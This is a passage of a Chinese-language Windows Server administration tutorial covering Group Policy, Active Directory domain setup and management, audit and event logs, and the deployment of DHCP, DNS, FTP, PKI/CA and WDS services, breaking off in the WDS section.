九、Windows组策略应用

  1. Windows组策略概述
  • 什么是组策略
    说到组策略,就不得不提注册表。注册表是Windows系统中保存系统、应用软件配置的数据库,随着Windows功能的越来越丰富,注册表里的配置项目也越来越多。很多配置都是 可以自定义设置的,但这些配置发布在注册表的各个角落,如果是手工配置,可想是多么困难和烦杂。而组策略则将系统重要的配置功能汇集成各种配置模块,供管理人员直接使用,从而达到方便管理计算机的目的。简单点说,组策略就是修改注册表中的配置。当然,组策略使用自己更完善的管理组织方法,可以对各种对象中的设置进行管理和配置,远比手工修改注册表方便、灵活,功能也更加强大。
  1. 组策略配置
  • 计算机配置
    策略
    ①.软件设置
    ②.Windows设置
    ③.管理模板
    计算机配置
  • 用户配置
    策略
    ①.软件设置
    ②.Windows设置
    ③.管理模板
    用户配置
  1. 组策略配置应用规则
    如果说AD(活动目录)是一个平台----(公司),把企业网络所有资源(用户、组、联系人、计算机、共享资源、打印机)进行了统一,那么,组策略就是对这些所有资源进行管理、约束的工具----(公司制度)。而组策略针对管理的最小单元为OU(组织单元)----(公司部门),一个OU可以包含(用户、组、计算机、共享资源、打印机),一个部门可包含很多资源,但这些资源必须要收到制度的管制。而OU里最主要的对象为“用户”及“计算机”,组策略针对这两种对象直接生效。
  • 组策略分为
    ①.计算机策略:计算机策略需要计算机重启才生效
    ②.用户策略:需要用户注销才生效
  • 组策略更新周期
    ①.自动更新方式
    启动的时候计算机策略和用户策略都会刷新
    域控制5分钟更新一次,客户机90分钟更新一次
    ②.手动更新方式

gpupdate /target:user /force (仅用户)
gpupdate /target:computer /force (仅计算机)
gpupdate /force (计算机与用户一起)

  • 组策略应用顺序
    每台运行Windows系统的计算机都有本地组策略,如果计算机在工作组环境下,将只应用本地组策略。如果计算机加入域,则除了受到本地组策略的影响,还可能会受到站点,域和oU的组策略影响。对于这些在不同位置设置的组策略,必须要搞请楚其应用顺序和优先级,在应用时才不至于混乱。总体上,组策略按如下顺序应用:
    ①.首先应用本地组策略。
    ②.如果有站点组策略,则应用之。
    ③.然后应用域组策略。
    ④.如果计算机或用户属于某个OU,则应用OU上的组策略。
    ⑤.如果计算机或用户属于某个OU的子OU,则应用子OU上的组策略一。
    ⑥.如果同个容器下链接了多个组策略对象,则按照链接顺序逐个应用。

十、WindowsServer搭建AD域

  1. 首先打开“网络和共享中心”
    网络和共享中心
  2. 查看以太网的“详细信息”详细信息
  3. 查看“网络连接详细信息”
    网络连接详细信息
  4. 点击“属性”
    属性
  5. 选择“Internet协议版本4”Internet协议版本4
  6. 设计服务器固定IP
    设计服务器固定IP
  7. 选择“添加角色和功能”
    添加角色和功能
  8. 下一步(后面就按照图片所示,一只下一步)
    下一步1
    下一步2
    下一步3
    下一步4下一步5
    下一步6
    下一步7
    下一步8
    下一步9
    下一步10
    下一步11
    下一步12
    下一步13
    下一步14
    注意:此处可指定ad域的数据库,日志,以及sysvol文件的保存位置,生产环境下需要结合实际情况设置,现在我们保持默认

下一步15
注意:此处用来显示安装信息,点击查看脚本,把脚本存在本地

下一步16
注意:安装过程会自动重启

用cmd,输入

dsa.msc

打开“Active Directory用户和计算机”
下一步17
下一步18
下一步19
下一步20
下一步21
结束

十一、Windows域服务

  1. 域的含义
  • Windows域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从Windows Server 2003开始 , Active Directory是负责维护该中央数据库的Windows组件。Windows域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。
  • 域英文叫DOMAIN——域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。
    域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域,每个域都有自己的安全策略,以及它与其他域的安全信任关系。
  • 在今天很多人都有意识或无意识的跟域这个东西打过交道。如果你在公司里使用电脑,并且你的电脑接入了公司的局域网,那你的电脑很可能就在一个域中。如何查看你的电脑是否连接到一个域中,输入CMD命令,ipconfig /all 看有无域信息
    ipconfig /all
  1. 域的原理
  • 其实可以把域和工作组联系起来理解,在工作组上你一切的设置在本机上进行包括各种策略,用户登录也是登录在本机的,密码是放在本机的数据库来验证的。而如果你的计算机加入域的话,各种策略是域控制器统一设定,用户名和密码也是放到域控制器去验证,也就是说你的账号密码可以在同一域的任何一台计算机登录。
  • 如果说工作组是“免费的旅店”那么域(Domain)就是“星级的宾馆”;工作组可以随便出出进进,而域则需要严格控制。“域”的真正含义指的是服务器控制网络上的计算机能否加入的计算机组合。一提到组合,势必需要严格的控制。所以实行严格的管理对网络安全是非常必要的。在对等网模式下,任何一台电脑只要接入网络,其他机器就都可以访问共享资源,如共享上网等。尽管对等网络上的共享文件可以加访问密码,但是非常容易被破解。在由Windows 9x构成的对等网中,数据的传输是非常不安全的。
  • 不过在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。
  • 域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上的资源。
  • 要把一台电脑加入域,仅仅使它和服务器在网上邻居中能够相互“看”到是远远不够的,必须要由网络管理员进行相应的设置,把这台电脑加入到域中。这样才能实现文件的共享,集中统一,便于管理。
  1. 域的作用
  • 域已经成为绝大多数公司组织、连接电脑的一种方式。那么我们究竟为什么要使用域?它能给我们带来什么好处呢?假设你是公司的系统管理员,你们公司有一千台电脑。如果你要为每台电脑设置登录帐户,设置权限(比如是否允许登录帐户安装软件),那你要分别坐在这一千台电脑前工作。如果你要做一些改变,你也要分别在这一千台电脑上修改。相信没有哪个管理员想要用这种不吃不喝不睡觉的方式来工作,所以就应运而生了域的概念。
  • 还以Windows为例,在微软的世界中,一个域是由一个或多个域控制器(domain controller)来控制的(其实域控制器并不神秘,无非就是装了一些特别软件的电脑)。其他的电脑加入该域,就要接受域控制器的控制。域控制器中有两个重要的表,一个是加入该域的电脑的列表,另一个表用来保存叫做活动目录(Active Directory)的东西。活动目录就是你登录公司网络的帐户。活动目录中存储着你的权限。你在某台电脑上登录,你键入用户名和密码,你的电脑首先要把你的登录信息发送到域控制器,域控制器首先核实你的登录信息是否正确,然后把一个叫access key的东西返还给你登录的电脑。这个access key中就包含着你的权限,由它来决定你是否可以安装软件,或者使用打印机等等。
    图示
  • 有了域以后,作为管理员,你就可以坐在一台电脑前,登录到域控制器上,对一切权限进行控制,而不用跑到每台电脑前进行设置了。工作效率提高了很多,但是还不够。假设公司有一千名员工,你是否要在域控制器中对这一千个人分别进行权限的设置呢?这听起来也是一件很麻烦的事。其实很多员工的权限都是相同的,那我们可不可以对这些相同的权限只设置一次,然后将该权限分配给相关的员工呢?答案就是使用分组(Group)。比如在学校里,我们设置学生组和教师组。在某台电脑上我们设置一个共享文件夹,学生组的权限是不可访问,而教师组可以对该文件夹进行访问。我们将不同的用户放入不同的分组里,然后对组进行权限设置,这样就免去了我们要对每个用户进行设置的麻烦。比组更大的单位是组织单位(Organization Unit),一个组织单位可以包含用户,组,资源(电脑,打印机等),还可以包含其他组织单位。举个简单的例子,有一个商场中的电脑加入了该商场的域,但是该电脑放置在公共场合,有很大的风险,所以我们可以将该电脑放置在一个单独的组织单位中,然后对该组织单位进行权限设置,比如不论谁在该组织单位中登录,都不可以修改他的密码。
    图示1
  • 在很多的实际情况中,一个公司又有下面的子公司,所以就造成母公司有一个域,而子公司也有一个单独的域。母公司的域与子公司的域如何联系起来呢?我们可以在它们之间建立一种叫信任(Trust)的关系。如果母公司的帐户想要能够登录到子公司的域中,子公司的域就要对母公司的域建立信任关系。当母公司域的帐户想要登录到子公司域中时,子公司域由于信任母公司的域,所以它会听从从母公司域的域控制器返回的access key。反过来,由于母公司的域没有建立对子公司的信任,所以如果子公司的帐户想要登录到母公司的域中是不可能的。所以如果企业网络中计算机和用户数量较多时,要实现高效管理,就需要Windows域。
    图示2
  1. 域的配置
  • 要建立域进行管理,首先需安装域控制器(dc),dc上存储着域中的信息资源,如名称、位置和特性描述等信息。通过在一台服务器上安装活动目录(AD),就会将这台计算机安装成dc。
  • 安装条件
    ①.安装者必须具有本地管理员的权限
    ②.操作系统版本必须满足条件(Windows server2003除web以外的所有都满足)
    ③.本地磁盘必须有一个NTFS文件系统
    ④.有TCP/IP设置
    ⑤.有相应的DNS服务器支持
    ⑥.有足够的可用空间
  • 安装活动目录(AD)步骤
    ①.打开ad开始–运行输入

dcpromo

②.是否创建新域。 dc有两种新域的域控和现有域的额外域控制器。一般选择新域的域控
③.新域的DNS全名
④.新域的NetBIOS名。下一步
⑤.数据库和日志文件夹。 为了优化性能,可以将数据库和日志放在不同的硬盘上。该文件夹不一定在NTFS分区。如果本计算机是域的第一台域控,则sam数据库就会升级到

C:\windows\ntds\ntds.dit

本地用户账户变成域用户账户
⑥.共享的系统卷。 共享系统卷SYSVOL文件夹存放的位置必须是NTFS文件系统
⑦.DNS注册诊断。 AD需要DNS服务支持。选第二项,下一步
⑧.域兼容性。 如果网络中不存在Windows server 2003 以前版本的域控制器,就选第二项。如果存在选第一项
⑨.还原模式密码。 目录服务还原模式的管理员密码,是在目录服务还原模式下登录系统时使用。由于目录服务还原模式下,所有的域账户用户都不能使用,只有使用这个还原模式管理员账户登录
⑩.安装完成后需重启计算机

十二、Windows域控管理与日志管理

  1. 域控的含义
  • Windows域为网络管理员提供了一种方法来管理大量的pc机,并从一个地方控制它们。一个或多个服务器(称为域控制器)控制域及其上的计算机。在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。 域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上的资源。域控是活动目录的存储地方,也就是说活动目录存储在域控制器内。安装了活动目录的计算机就称为域控制器,其实在你第一次安装活动目录的时候,你安装活动目录的那台计算机就成为了域控制器。一个域可以有一台或多台域控制器。最经典的做法是做一个主辅域控。
  1. 域控的管理
  • 域用户账户的管理
    ①.创建域用户的账户
    ②.配置域用户账户属性
    ③.验证用户的身份
    ④.授权或拒绝对域资源的访问
  • 组分为安全组和通讯组
    安全组: 安全组有安全表示(SID),能够给其授权访问本地资源或网络资源。即能授权访问资源,也可以利用其群发电子邮件
    通讯组: 通迅组没有安全标识(SID),不能授权其访问资源,只能用来群发电子邮件
  • 组是账户的集合,通过对组分配权限实现对组内用户的权限分配
    域本地组,多域用户访问单域资源。 可以从任何域添加用户账户、通用组和全局组,只能在其所在域内指派权限。域本地组不能嵌套于其他组中。它主要是用于授予位于本域资源的访问权限。
    全局组,单域用户访问多域资源(必须是同一个域里面的用户)。 只能在创建该全局组的域上进行添加用户和全局组,可以在域林中的任何域中指派权限,全局组可以嵌套在其他组中。
    通用组,通用组成员来自域林中任何域中的用户账户、全局组和其他的通用组,可以在该域林中的任何域中指派权限,可以嵌套于其他域组中。 非常适于域林中的跨域访问。
    简单理解域本地组: 来自全林用于本域全局组:来自本域用于全林通用组:来自全林用于全林
    对象组
  • 组织单位OU的管理
    OU概念
    OU是AD中的容器, 可在其中存放用户、组、计算机和其他OU,而且可以设置组策略
    OU应用基于部门, 如行政部、人事部;基于地理位置,如北京、上海;基于对象,如用户、计算机
    用户和计算机1
  • 容器与组织单位容器(Container)与对象相似,它有自己的名称,也是一些属性的集合,不过容器内可以包含其他对象(例如用户、计算机等对象),还可以包含其他容器。
  • 组织单位(Organization Units,OU)是一个比较特殊的容器,其中除了可以包含其他对象与组织单位之外,还有组策略(Group Policy)的功能。
  • 默认的容器和单位组织
    Builtin容器: Builtin容器是Active Driectory默认创建的第一个容器,主要用于保存域中本地安全组。
    Computers容器: Computers容器是Active Driectory默认创建的第2个容器,用于存放Windows Server 域内所有成员计算机的计算机账号。
    Domain Controllers组织单位: Domain Controllers是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域。
    Users容器: Users容器主要用于保存安装Active Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户。
    用户和计算机2
  • 添加额外域控制器(BDC)在一个域中,一般域控服务器至少有2个或者以上。所以,我们得添加额外的域控服务器。在任何一台域控制器上都可以修改AD中的内容,每台域控制器上AD中的内容都是同步的添加额外域控制器的条件:
    具有域管理权限
    计算机TCP/IP,DNS服务配置正确
    操作系统版本支持
  • 添加额外域控制器的步骤:
    查看当前域功能级别将计算机加入当前域运行dcpromo命令安装活动目录
  • 计算机配置成域控服务器后,或计算机加入一个域后,会发现本地的安全策略已经呈灰色的,配置不了了。在一个域中,通过在域控服务器上配置组策略,来对域中的主机或域中的用户去设置策略
  • 组策略功能账户策略设置本地策略设置脚本设置用户工作环境的设置软件的安装与删除限制软件运行文件夹的重定向限制访问可移动设备
  • 组策略优点
    减小管理成本,只需设置一次,相应的计算机或用户即可应用,减小用户单独配置错误的可能性,可以针对特定对象设置特定的策略。组策略对象GPO(Group Policy Object)的概念:存储组策略的所有配置信息,AD中的一种特殊对象默认GPO:默认域策略,默认域控制器策略GPO链接:只能链接到站点,域,OU
    组策略管理
  • 组策略应用规则
    策略继承与阻止: 下级容器可以继承或阻止应用其上级容器的GPO设置
    策略累加与冲突: 多个GPO设置可以累加或发生冲突被覆盖
    策略强制生效: 使下级容器强制执行其上级容器的GPO设置
    筛选: 阻止一个容器内的用户或计算机应用其GPO设置
  • 策略继承与阻止
    下级容器默认会继承来自上级容器的GPO ,子容器可以阻止继承上级容器的GPO ,右击容器→阻止继承策略
    累加与冲突如果多个组策略设置不冲突,则最终的有效策略是所有组策略设置的累加 如果多个组策略设置冲突,则后应用的组策略覆盖先应用的组策略
  • 组策略应用顺序
    ①.首先应用本地组策略
    ②.如果有站点组策略,则应用
    ③.接着应用域策略
    ④.最后应用OU上的策略
    ⑤.如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用策略强制生效
    ⑥.强制生效是上级容器强制下级容器执行其GPO设置筛选
    ⑦.筛选可以阻止一个GPO应用于容器内的特定计算机或用户 委派→权限设置
  1. 日志含义
  • Window事件日志简介
    Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
    Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。
  • 系统日志
    记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。默认位置:

%SystemRoot%\System32\Winevt\Logs\System.evtx

  • 应用程序日志
    包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。 默认位置:

%SystemRoot%\System32\Winevt\Logs\Application.evtx

  • 安全日志
    记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。默认位置:

%SystemRoot%\System32\Winevt\Logs\Security.evtx

  1. 日志的管理
  • 审核策略与事件查看器
    Windows Server 2016 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。
    PS:默认状态下,也会记录一些简单的日志,日志默认大小20M
    设置1:开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略,参考配置操作:
    管理工具
    审核策略
    帐户管理: 审核创建、更改、删除用户帐户或组,修改密码,禁用、启用、重命名用户帐户等;
    登录事件: 审核每个用户帐户登录或注销成功还是失败;
    系统事件: 审核对系统安全有影响的事件、重启或关闭计算机事件等;
    特权使用: 审核用户实施其权利的每一个实例;
    目录服务访问: 审核用户访问那些指定自己的系统访问控制列表(SACL)的 Active Directory(活动目录)对象的事件;
    对象访问: 审核用户访问文件、文件夹、注册表、打印机等对象,这些对象都有特定的系统访问控制列表(SACL);
    策略更改: 审核用户权限分配策略、审核策略、信任策略更改的每一个事件;
    帐户登录事件: 审核在这台计算机用于验证帐户时,用户登录到其它计算机或从其它计算机注销的每个实例;
    过程跟踪: 审核“程序激活、进程退出、句柄复制、间接对象访问”等事件的详细跟踪信息。

  • 设置2:设置合理的日志属性,即日志最大大小、事件覆盖阀值等:
    日志属性

  • 事件日志分析
    对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:
    安全事件说明每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:
    登录类型

十三、Windows常见服务及部署

  1. DHCP协议
  • DHCP服务
    动态主机配置协议是一个局域网的网络协议。指的是由服务器控制一段IP地址范围,客户机登录服务器时就可以自动获得服务器分配的IP地址和子网掩码。担任DHCP服务器的计算机需要安装TCP/IP协议,并为其设置静态IP地址、子网掩码、默认网关等内容。
    部署DHCP服务的好处:
    ①.减少管理员的工作量
    ②.避免输入错误的可能
    ③.避免ip地址冲突
    ④.当网络更改ip地址段时,不需要再重新配置每一个用户的ip地址
    ⑤.提高了ip地址的利用率
    ⑥.方便客户端的配置
    DHCP服务
  • DHCP工作原理
    分配方式
    在DHCP的工作原理中,DHCP服务器提供了三种IP分配方式:自动分配(Automatic allocation)、手动分配和动态分配(Dynamic Allocation)。
    自动分配: 是当DHCP客户端第一次成功的从DHCP服务器获取一个IP地址后,就永久的使用这个IP地址。
    手动分配: 是由DHCP服务器管理员专门指定的IP地址
    动态分配: 是当客户端第一次从DHCP服务器获取到IP地址后,并非永久使用该地址,每次使用完后,DHCP客户端就需要释放这个IP,供其他客户端使用。(最常见的使用形式)
    (1)客户机寻找服务器: 广播发送discover包,寻找dhcp服务器
    (2)服务器响应请求: 单播发送offer包,对客户机做出响应。提供客户端网络相关的租约以供选择其中服务器在收到客户端的请求后,会针对客户端的mac地址与本身的设定数据进行一下工作:
    a)到服务器的登录文件中寻找该用户之前曾经使用过的ip,若有且该ip目前没有人使用,这提供此ip为客户机
    b)若配置文件中有针对该mac提供额外的固定ip,且该ip没有被使用,则提供此ip给客户机
    c)如果没有符合以上两个条件,则随机取用目前没有被使用的ip参数给客户机并记录到leases文件中。
    (3)客户机发送ip请求: 广播request包,选择一个服务器提供的网络参数租约回报服务器。此外,客户机会发送一个广播封包给局域网内的所有主机,告知自己已经接受服务器的租约。
    (4)服务器确认租约: 单播Ack包,服务器与客户机确认租约关系并记录到服务器的leases文件中 。
    DHCP工作原理
  • DHCP涉及概念简介
    DHCP Client: DHCP客户端,通过DHCP协议请求IP地址的客户端。DHCP客户端是接口级的概念,如果一个主机有多个以太接口,则该主机上的每个接口都可以配置成一个DHCP 客户端。交换机上每个Vlan接口也可以配置成一个DHCP客户端
    DHCP Server: DHCP 服务端,负责为DHCP客户端提供IP地址,并且负责管理分配的IP地址
    DHCP Relay: DHCP中继器,DHCP客户端跨网段申请IP地址的时候,实现DHCP报文的转发功能
    DHCP Security: DHCP安全特性,实现合法用户IP地址表的管理功能
    DHCP Snooping: DHCP监听,记录通过二层设备申请到IP地址的用户信息
  • Windows server 2016部署DHCP服务
    ①.首先打开服务器管理台,点击“添加角色和功能”
    添加角色和功能②.在此页面选择要部署DHCP的服务器
    DHCP的服务器③.在服务器角色中勾选DHCP服务器
    DHCP服务器④.一路点击下一步直至安装,等待安装完成后关闭此页面即可
    安装
  1. DNS服务器
    DNS(Domain Name Server,域名服务器)是进行域名(domain name)和与之相对应的IP地址 (IP address)转换的服务器。DNS中保存了一张域名(domain name)和与之相对应的IP地址 (IP address)的表,以解析消息的域名。 域名是Internet上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子方位(有时也指地理位置)。域名是由一串用点分隔的名字组成的,通常包含组织名,而且始终包括两到三个字母的后缀,以指明组织的类型或该域所在的国家或地区。
    把域名翻译成IP地址的软件称为域名系统,即DNS。它是一种管理名字的方法。这种方法是:分不同的组来负责各子系统的名字。系统中的每一层叫做一个域,每个域用一个点分开。所谓域名服务器(即Domain Name Server,简称Name Server)实际上就是装有域名系统的主机。它是一种能够实现名字解析(name resolution)的分层结构数据库。
  • DNS服务器类型
    主名称服务器(primary name server)
    从域管理员构造的本地磁盘文件中加载域信息,该文件(区域文件)包含着该服务器具有管理权的一部分域结构的最精确信息。主服务器是一种权威性服务器,因为它以绝对的权威去回答对其管辖域的任何查询。
    从名称服务器(secondary name server)
    它可从主服务器中复制一整套域信息。区域文件是从主服务器中复制出来的,并作为本地磁盘文件存储在辅助服务器中。这种复制称为”区域文件复制”。在辅助域名服务器中有一个所有域信息的完整拷贝,可以有权威地回答对该域的查询。因此,辅助域名服务器也称作权威性服务器。配置辅助域名服务器不需要生成本地区文件,因为可以从主服务器中下载该区文件。
    唯高速缓存名称服务器(caching-only server)
    可运行域名服务器软件,但是没有域名数据库软件。它从某个远程服务器取得域名服务器查询的结果,一旦取得一个,就将它放在高速缓存中,以后查询相同的信息时就用它予以回答。高速缓存服务器不是权威性服务器,因为它提供的所有信息都是间接信息。当BIND被配置为缓存服务器的时候,它只会回应已缓存的请求,并将所有其他的请求转发到上游的 DNS 服务器。缓存名称服务器只需要这个zone file文件即可。
    作用:将域名解析成IP地址
    解析方式:
    正向解析:域名解析IP
    反向解析:IP解析出域名
    DNS服务器中存储着大量的IP和域名映射记录,它的记录文件也分为正向解析文件和反向解析文件,正向解析文件中存储的记录称为A记录,A记录记录着域名和IP的映射关系,反向解析文件中存储的记录称为PTR指针,PTR记录着IP和域名的映射关系。
    DNS服务既属于TCP协议有属于UDP协议,端口号为53号
    Aname解析: 指定主机名(或域名)对应的IP地址记录。
    Cname解析: 别名解析,是主机名到主机名的映射。当需要将域名指向另一个域名,再由另一个域名提供 IP 地址,就需要添加 CNAME 记录,最常用到 CNAME的场景包括做CDN、企业邮箱、全局流量管理等。与A记录不同的是,CNAME别名记录设置的值不是一个固定的IP,而是主机的别名地址。
  1. PPTP协议
    PPTP(Point to Point Tunneling Protocol),即点对点隧道协议。 该协议是在PPP协议的基础上开发的一种新的增强型安全协议,支持多协议虚拟专用网(VPN),可以通过密码验证协议(PAP)、可扩展认证协议(EAP)等方法增强安全性。
    PPTP 只能通过 PAC 和 PNS 来实施,其它系统没有必要知道 PPTP。拨号网络可与 PAC 相连接而无需知道 PPTP。标准的 PPP 客户机软件可继续在隧道 PPP 链接上操作。
    PPTP 使用 GRE 的扩展版本来传输用户 PPP 包。这些增强允许为在 PAC 和 PNS 之间传输用户数据的隧道提供低层拥塞控制和流控制。这种机制允许高效使用隧道可用带宽并且避免了不必要的重发和缓冲区溢出。
    PPTP 没有规定特定的算法用于底层控制,但它确实定义了一些通信参数来支持这样的算法工作。
    PPTP控制连接数据包包括一个IP报头,一个TCP报头和PPTP控制信息。

  2. FTP服务

  • FTP介绍
    FTP 是File Transfer Protocol(文件传输协议)的英文简称,而中文简称为“文传协议”。 用于Internet上的控制文件的双向传输。同时,它也是一个应用程序(Application)。基于不同的操作系统有不同的FTP应用程序,而所有这些应用程序都遵守同一种协议以传输文件。在FTP的使用当中,用户经常遇到两个概念:“下载”(Download)和"上传"(Upload)。"下载"文件就是从远程主机拷贝文件至自己的计算机上;"上传"文件就是将文件从自己的计算机中拷贝至远程主机上。用Internet语言来说,用户可通过客户机程序向(从)远程主机上传(下载)文件。
  • FTP服务搭建
    ①.首先打开服务器管理台,点击“添加角色和功能”
    添加角色和功能②.安装IIS/FTP角色,选择Web服务器(IIS),然后选择FTP服务,直到安装完成
    Web服务器
    FTP服务③.选择FTP服务,直到安装完成
    安装1
    安装2④.在IIS管理器中查看,FTP服务安装成功
    FTP服务安装成功
  1. PKI原理
  • PIK介绍
    公钥基础设施PKI(Public Key Infrastructure),是通过使用公钥技术和数字证书来提供系统信息安全服务,并负责验证数字证书持有者身份的一种体系。PKI技术是信息安全技术的核心,也是电子商务的关键和基础技术。PIK保证了通信数据的私密性、完整性、不可否认性和 源认证性 。
  • 为什么要用PKI
    IPSec身份认证(预共享密钥方式): 配置简单。只需要在总部和二分部的网关上配相同的密钥即可。维护复杂。随着分部数量越来越多,总部和每个分部之间形成的对等体都要配置预共享秘钥。安全风险高。如果所有对等体都使用同一个密钥,存在安全风险。
    IPSec身份认证(PIK中的证书认证方式): 维护简单。随着分部数量越来越多,只需要向CA申请证书即可。安全风险低。不同的分部使用不同的证书,对应的密钥也不同。
  • PKI的组成
    一个PKI体系由终端实体、证书认证机构、证书注册机构和证书/CRL存储库四部分共同组成。
    认证机构(CA):即数字证书的申请及签发机关,CA 必须具备权威性的特征。
    数字证书库:用于存储已签发的数字证书及公钥,用户可由此获得所需的其他用户的证书及公钥。
    密钥备份及恢复系统:如果用户丢失了用于解密数据的密钥,则数据将无法被解密,这将造成合法数据丢失。为避免这种情况,PKI 提供备份与恢复密钥的机制。但须注意,密钥的备份与恢复必须由可信的机构来完成。并且,密钥备份与恢复只能针对解密密钥,签名私钥为确保其性而不能够作备份。
    证书作废系统:证书作废处理系统是 PKI 的一个必备的组件。与日常生活中的各种身份证件一样,证书有效期以内也可能需要作废,原因可能是密钥介质丢失或用户身份变更等。为实现这一点,PKI 必须提供作废证书的一系列机制。
    应用接口(API):PKI 的价值在于使用户能够方便地使用加密、数字签名等安全服务,因此一个完整的 PKI 必须提供良好的应用接口系统,使得各种各样的应用能够以安全、一致、可信的方式与 PKI 交互,确保安全网络环境的完整性和易用性。
  • PKI的核心部分CA
    CA介绍:证书认证机构CA(Certificate Authority)。CA是PKI的信任基础,是一个用于颁发并管理数字证书的可信实体。它是一种权威性、可信任性和公正性的第三方机构,通常由服务器充当,例如Windows Server 2016。CA通常采用多层次的分级结构,根据证书颁发机构的层次,可以划分为根CA和从属CA。CA的核心功能就是发放和管理数字证书,包括:证书的颁发、证书的更新、证书的撤销、证书的查询、证书的归档、证书废除列表CRL(Certificate Revocation List)的发布等。有关CA的特性:
    ①.仅仅只有一个受信任的介绍者(证书颁发机构)
    ②.CA签署每一个人的公钥
    ③.每个人都有CA的公钥
    CA颁发证书流程: 每个实体都要获取CA的公钥(认证CA的过程)每个实体都要提交自己的公钥给CA(注册到PKI)这个初始步骤,必须手动认证或者通过一个可信任的传输网络来执行。CA使用自己的私钥为提交的公钥做数字签名。被数字签了名的公钥(身份证书)再返回给实体。实体现在可以通过非信任的网络来彼此交换被CA签了名的公钥了。收到的公钥都是被CA的公钥所确认的,CA的公钥在每个实体本地必须是有效的。
  1. CA服务器
    我们可以将CA服务器,理解为:数字证书(即网络中的个人虚拟身份证)的发放和管理的服务器。
    为保证网上数字信息的传输安全,除了在通信传输中采用更强的加密算法等措施之外,必须建立一种信任及信任验证机制,即参加电子商务的各方必须有一个可以被验证的标识,这就是数字证书。
    数字证书是各实体(持卡人/个人、商户/企业、网关/银行等)在网上信息交流及商务交易活动中的身份证明。该数字证书具有唯一性。它将实体的公开密钥同实体本身联系在一起,为实现这一目的,必须使数字证书符合X.509国际标准,同时数字证书的来源必须是可靠的。这就意味着应有一个网上各方都信任的机构,专门负责数字证书的发放和管理,确保网上信息的安全,这个机构就是CA认证机构。各级CA认证机构的存在组成了整个电子商务的信任链。如果CA机构不安全或发放的数字证书不具有权威性、公正性和可信赖性,电子商务就根本无从谈起。
  2. SSL连接
    SSL协议,当前版本为3.1(SSL3.1就是TLS1.0)。 它已被广泛地用于Web浏览器与服务器之间的身份认证和加密数据传输.它位于TCP/IP协议与各种应用层协议之间,为数据通讯提供安全支持。SSL协议可分为两层:
    SSL记录协议(SSL Record Protocol): 它建立在可靠的传输协议(如TCP)之上,为高层协议提供数据封装、压缩、加密等基本功能的支持。
    SSL握手协议(SSL Handshake Protocol): 它建立在SSL记录协议之上,用于在实际的数据传输开始前,通讯双方进行身份认证、协商加密算法、交换加密密钥等。
  3. WDS服务
    WDS的全称为Windows部署服务,主要应用于大中型网络中的计算机操作系统的批量化部署。通过使用WDS可以管理映像以及无人参与安装脚本的方式,大大提升部署操作系统的速度。
    使用WDS的主要优势:
    ①.降低部署难度以及手动安装效率低而付出的成本
    ②.允许基于网络安装Windows操作系统
    ③.可以将操作系统安装到未安装操作系统的计算机上
  • WDS工作原理
    ①.客户端在启动过程中,通过DHCP服务器得到IP地址配置信息。
    ②.客户端通过广播或DHCP查找到WDS服务器,并尝试连接它,启动特定的启动映像,就是Win PE。
    ③.客户端开始安装WDS服务器上的操作系统映像,完成所有安装工作。
    注意:如果要保证WDS完成系统的自动分发,至少要保证以下几个组件的正常安装。
    ①.DNS:域名解析服务,主要用于查找域控制器和名称的解析服务
